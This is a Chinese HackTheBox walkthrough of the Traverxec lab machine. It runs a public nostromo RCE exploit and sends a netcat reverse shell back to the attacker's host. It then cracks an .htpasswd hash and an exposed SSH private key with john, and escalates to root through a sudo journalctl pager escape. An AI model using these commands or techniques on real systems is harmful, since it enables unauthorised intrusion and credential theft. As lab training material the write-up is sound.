【HTB】Traverxec（nhttpd配置错误，sudo特权
2021-12-28 本文已影响0人
天线锅仔
免责声明
本文渗透的主机经过合法授权。本文使用的工具和方法仅限学习交流使用，请不要将文中使用的工具和渗透思路用于任何非法用途，对此产生的一切后果，本人不承担任何责任，也不对造成的任何误用或损害负责。
服务发现
┌──(root💀kali)-[~/htb/Traverxec]
└─# nmap -sV -Pn 10.10.10.165
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-27 10:01 EST
Nmap scan report for 10.10.10.165
Host is up (0.63s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
80/tcp open http nostromo 1.9.6
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 80.28 seconds
看到网络服务器是nostromo，搜索这个服务器的漏洞情况
┌──(root💀kali)-[~/htb/Traverxec]
└─# searchsploit nostromo 1.9.6 130 ⨯
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
nostromo 1.9.6 - Remote Code Execution | multiple/remote/47837.py
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
存在一个RCE
尝试执行：
┌──(root💀kali)-[~/htb/Traverxec]
└─# python 47837.py 10.10.10.165 80 id
_____-2019-16278
_____ _______ ______ _____\ \
_____\ \_\ | | | / / | |
/ /| || / / /|/ / /___/|
/ / /____/||\ \ \ |/| |__ |___|/
| | |____|/ \ \ \ | | | \
| | _____ \| \| | | __/ __
|\ \|\ \ |\ /| |\ \ / \
| \_____\| | | \_______/ | | \____\/ |
| | /____/| \ | | / | | |____/|
\|_____| || \|_____|/ \|____| | |
|____|/ |___|/
HTTP/1.1 200 OK
Date: Mon, 27 Dec 2021 15:20:04 GMT
Server: nostromo 1.9.6
Connection: close
uid=33(www-data) gid=33(www-data) groups=33(www-data)
成功执行id命令，证实rce存在
我们执行以下payload
python 47837.py 10.10.10.165 80 'nc -c bash 10.10.14.3 4242'
成功拿到立足点：
┌──(root💀kali)-[~/htb/Traverxec]
└─# nc -lnvp 4242
listening on [any] 4242 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.10.165] 46046
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
在 /var/nostromo/conf/.htpasswd找到一个用户凭证
www-data@traverxec:/tmp$ cat /var/nostromo/conf/.htpasswd
cat /var/nostromo/conf/.htpasswd
david:$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/
保存到本地用john破解
hn --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 AVX 4x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Nowonly4me (david)
1g 0:00:01:04 DONE (2021-12-27 11:11) 0.01548g/s 163775p/s 163775c/s 163775C/s Noyoudo..Novaem
Use the "--show" option to display all of the cracked passwords reliably
Session completed
可是用这个密码不能切换到david，也不能ssh登录。
这里我卡了非常久，一直不能提权到david，上HTB论坛看别人的hint，提到需要认真查看服务文档和config文件
查看/var/nostromo/conf/nhttpd.conf文件
# MAIN [MANDATORY]
servername traverxec.htb
serverlisten *
serveradmin david@traverxec.htb
serverroot /var/nostromo
servermimes conf/mimes
docroot /var/nostromo/htdocs
docindex index.html
# LOGS [OPTIONAL]
logpid logs/nhttpd.pid
# SETUID [RECOMMENDED]
user www-data
# BASIC AUTHENTICATION [OPTIONAL]
htaccess .htaccess
htpasswd /var/nostromo/conf/.htpasswd
# ALIASES [OPTIONAL]
/icons /var/nostromo/icons
# HOMEDIRS [OPTIONAL]
homedirs /home
homedirs_public public_www
注意这个服务的admin是david@traverxec.htb，另外留意这两段
homedirs /home
homedirs_public public_www
使用man nhttpd命令，留意这段
HOMEDIRS
To serve the home directories of your users via HTTP, enable the homedirs
option by defining the path in where the home directories are stored,
normally /home. To access a users home directory enter a ~ in the URL
followed by the home directory name like in this example:
http://www.nazgul.ch/~hacki/
The content of the home directory is handled exactly the same way as a
directory in your document root. If some users don't want that their
home directory can be accessed via HTTP, they shall remove the world
readable flag on their home directory and a caller will receive a 403
Forbidden response. Also, if basic authentication is enabled, a user can
create an .htaccess file in his home directory and a caller will need to
authenticate.
You can restrict the access within the home directories to a single sub
directory by defining it via the homedirs_public option.
在网页上使用~[用户名]可以访问用户的home目录
这个靶机是http://10.10.10.165/~david
文档同时说明，如果不想别人通过http访问到自己的home目录，可以指定public_www替代
也就是说上面网页其实访问的就是david下的public_www目录
我们查看public_www内容
www-data@traverxec:/var/nostromo/conf$ ls -alh /home/david/public_www
ls -alh /home/david/public_www
total 16K
drwxr-xr-x 3 david david 4.0K Oct 25 2019 .
drwx--x--x 5 david david 4.0K Oct 25 2019 ..
-rw-r--r-- 1 david david 402 Oct 25 2019 index.html
drwxr-xr-x 2 david david 4.0K Oct 25 2019 protected-file-area
在protected-file-area下找到david的ssh秘钥
┌──(root💀kali)-[~/Downloads/home/david/.ssh]
└─# cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,477EEFFBA56F9D283D349033D5D08C4F
seyeH/feG19TlUaMdvHZK/2qfy8pwwdr9sg75x4hPpJJ8YauhWorCN4LPJV+wfCG
tuiBPfZy+ZPklLkOneIggoruLkVGW4k4651pwekZnjsT8IMM3jndLNSRkjxCTX3W
KzW9VFPujSQZnHM9Jho6J8O8LTzl+s6GjPpFxjo2Ar2nPwjofdQejPBeO7kXwDFU
RJUpcsAtpHAbXaJI9LFyX8IhQ8frTOOLuBMmuSEwhz9KVjw2kiLBLyKS+sUT9/V7
HHVHW47Y/EVFgrEXKu0OP8rFtYULQ+7k7nfb7fHIgKJ/6QYZe69r0AXEOtv44zIc
Y1OMGryQp5CVztcCHLyS/9GsRB0d0TtlqY2LXk+1nuYPyyZJhyngE7bP9jsp+hec
dTRqVqTnP7zI8GyKTV+KNgA0m7UWQNS+JgqvSQ9YDjZIwFlA8jxJP9HsuWWXT0ZN
6pmYZc/rNkCEl2l/oJbaJB3jP/1GWzo/q5JXA6jjyrd9xZDN5bX2E2gzdcCPd5qO
xwzna6js2kMdCxIRNVErnvSGBIBS0s/OnXpHnJTjMrkqgrPWCeLAf0xEPTgktqi1
Q2IMJqhW9LkUs48s+z72eAhl8naEfgn+fbQm5MMZ/x6BCuxSNWAFqnuj4RALjdn6
i27gesRkxxnSMZ5DmQXMrrIBuuLJ6gHgjruaCpdh5HuEHEfUFqnbJobJA3Nev54T
fzeAtR8rVJHlCuo5jmu6hitqGsjyHFJ/hSFYtbO5CmZR0hMWl1zVQ3CbNhjeIwFA
bzgSzzJdKYbGD9tyfK3z3RckVhgVDgEMFRB5HqC+yHDyRb+U5ka3LclgT1rO+2so
uDi6fXyvABX+e4E4lwJZoBtHk/NqMvDTeb9tdNOkVbTdFc2kWtz98VF9yoN82u8I
Ak/KOnp7lzHnR07dvdD61RzHkm37rvTYrUexaHJ458dHT36rfUxafe81v6l6RM8s
9CBrEp+LKAA2JrK5P20BrqFuPfWXvFtROLYepG9eHNFeN4uMsuT/55lbfn5S41/U
rGw0txYInVmeLR0RJO37b3/haSIrycak8LZzFSPUNuwqFcbxR8QJFqqLxhaMztua
4mOqrAeGFPP8DSgY3TCloRM0Hi/MzHPUIctxHV2RbYO/6TDHfz+Z26ntXPzuAgRU
/8Gzgw56EyHDaTgNtqYadXruYJ1iNDyArEAu+KvVZhYlYjhSLFfo2yRdOuGBm9AX
JPNeaxw0DX8UwGbAQyU0k49ePBFeEgQh9NEcYegCoHluaqpafxYx2c5MpY1nRg8+
XBzbLF9pcMxZiAWrs4bWUqAodXfEU6FZv7dsatTa9lwH04aj/5qxEbJuwuAuW5Lh
hORAZvbHuIxCzneqqRjS4tNRm0kF9uI5WkfK1eLMO3gXtVffO6vDD3mcTNL1pQuf
SP0GqvQ1diBixPMx+YkiimRggUwcGnd3lRBBQ2MNwWt59Rri3Z4Ai0pfb1K7TvOM
j1aQ4bQmVX8uBoqbPvW0/oQjkbCvfR4Xv6Q+cba/FnGNZxhHR8jcH80VaNS469tt
VeYniFU/TGnRKDYLQH2x0ni1tBf0wKOLERY0CbGDcquzRoWjAmTN/PV2VbEKKD/w
-----END RSA PRIVATE KEY-----
john破解
┌──(root💀kali)-[~/htb/Traverxec]
└─# /usr/share/john/ssh2john.py id_rsa >rsacrack
┌──(root💀kali)-[~/htb/Traverxec]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt rsacrack
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
hunter (id_rsa)
Warning: Only 2 candidates left, minimum 4 needed for performance.
1g 0:00:00:07 DONE (2021-12-28 06:02) 0.1321g/s 1894Kp/s 1894Kc/s 1894KC/sa6_123..*7¡Vamos!
Session completed
登录到david账号
┌──(root💀kali)-[~/htb/Traverxec]
└─# ssh -i id_rsa david@10.10.10.165
The authenticity of host '10.10.10.165 (10.10.10.165)' can't be established.
RSA key fingerprint is SHA256:GlGTwru98ALf7QPJpV8VHV6L2FOwREy6tz2O2W/9JM0.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.165' (RSA) to the list of known hosts.
Enter passphrase for key 'id_rsa':
Linux traverxec 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u1 (2019-09-20) x86_64
david@traverxec:~$ id
uid=1000(david) gid=1000(david) groups=1000(david),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
提权
/home/david/bin目录下有两个文件
david@traverxec:~/bin$ ls -alh
total 16K
drwx------ 2 david david 4.0K Oct 25 2019 .
drwx--x--x 5 david david 4.0K Oct 25 2019 ..
-r-------- 1 david david 802 Oct 25 2019 server-stats.head
-rwx------ 1 david david 363 Oct 25 2019 server-stats.sh
查看server-stats.sh内容
david@traverxec:~/bin$ cat server-stats.sh
#!/bin/bash
cat /home/david/bin/server-stats.head
echo "Load: `/usr/bin/uptime`"
echo " "
echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`"
echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`"
echo " "
echo "Last 5 journal log lines:"
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat
留意最后一行/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat,这里用了一个sudo特权命令
我们尝试手动执行这一条命令,并没有要求我们输入登录密码
david@traverxec:~/bin$ /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat
-- Logs begin at Tue 2021-12-28 07:49:41 EST, end at Tue 2021-12-28 08:22:51 EST. --
Dec 28 07:49:43 traverxec systemd[1]: Starting nostromo nhttpd server...
Dec 28 07:49:43 traverxec systemd[1]: nostromo.service: Can't open PID file /var/nostromo/logs/nhttpd.pid (yet?) after start: No such file or directory
Dec 28 07:49:43 traverxec nhttpd[419]: started
Dec 28 07:49:43 traverxec nhttpd[419]: max. file descriptors = 1040 (cur) / 1040 (max)
Dec 28 07:49:43 traverxec systemd[1]: Started nostromo nhttpd server.
也就是说这是一条用户david的特权命令，相当于sudo -l显示的内容
因此我们使用以下方法提权
先执行：
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
再执行：
!/bin/sh
成功提权到root
david@traverxec:~/bin$ /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
-- Logs begin at Tue 2021-12-28 07:49:41 EST, end at Tue 2021-12-28 08:19:44 EST. --
Dec 28 07:49:43 traverxec systemd[1]: Starting nostromo nhttpd server...
Dec 28 07:49:43 traverxec systemd[1]: nostromo.service: Can't open PID file /var/nostromo/logs/nhttpd.pid (yet?) after start:
Dec 28 07:49:43 traverxec nhttpd[419]: started
Dec 28 07:49:43 traverxec nhttpd[419]: max. file descriptors = 1040 (cur) / 1040 (max)
Dec 28 07:49:43 traverxec systemd[1]: Started nostromo nhttpd server.
!/bin/sh
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
9aa36a6d76....
#
总结
立足点和root提权都非常简单。用户提权是最难的部分，唯有理解靶机的服务才能知道突破点在哪里。
